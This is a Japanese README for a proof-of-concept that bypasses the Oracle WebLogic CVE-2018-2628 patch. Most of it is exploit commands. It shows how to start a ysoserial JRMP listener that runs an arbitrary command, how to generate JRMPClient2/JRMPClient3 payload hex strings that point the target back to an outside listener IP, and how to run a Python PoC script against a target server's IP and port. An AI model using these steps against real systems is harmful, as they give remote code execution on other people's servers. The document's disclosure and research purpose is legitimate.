
Oracle WebLogic CVE-2018-2628 パッチを回避するためのコード
コマンド形式:
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>
例:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
*Opening JRMP listener on 22801 の出力が確認できたら、JRMPListenerを実行しているホストのIPアドレス(例ではパブリックIP 47.94.158.125のAlibaba Cloud ECSホスト)と指定したポートを記録します。
現在知られている2つの方法(Payload Object Stringを生成する際、以下の2つの方法のいずれかを選択すればよい):
Payload Object Stringを生成するコマンド形式:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
例:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
サンプル(JRMPClient2で生成したPayloadオブジェクトのバイナリ出力データ):

Payload Object Stringを生成するコマンド形式:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
例:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
サンプル(JRMPClient3で生成したPayloadオブジェクトのバイナリ出力データ):

wls-cve-2018-2628-poc.pyを編集し、前の手順で生成したhex文字列でスクリプト上部のpayload_str変数の変数値を置き換えます(このスクリプトに含まれる2つのpayload_str変数の値は、それぞれ上記2つの方法で生成されたhex文字列に直接利用できます)。
コマンド形式:
python wls-cve-2018-2628-poc.py <ターゲットWebLogic ServerインスタンスのリスニングIP> <ターゲットWebLogic Serverインスタンスのリスニングポート>
例:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
サンプル(Patch Set Update 180417が適用済み):

xxlegend@nsfocus(CVE-2018-2628の脆弱性発見および提出者の一人、脆弱性の利用方法と関連コード例の公開) badcode@knownsec(weblogic.jms.common.StreamMessageImplを使用してjava.rmi.registry.Registryをラップするコード例の提供) ysoserial project(多くのJavaデシリアライゼーションエクスプロイトをまとめている)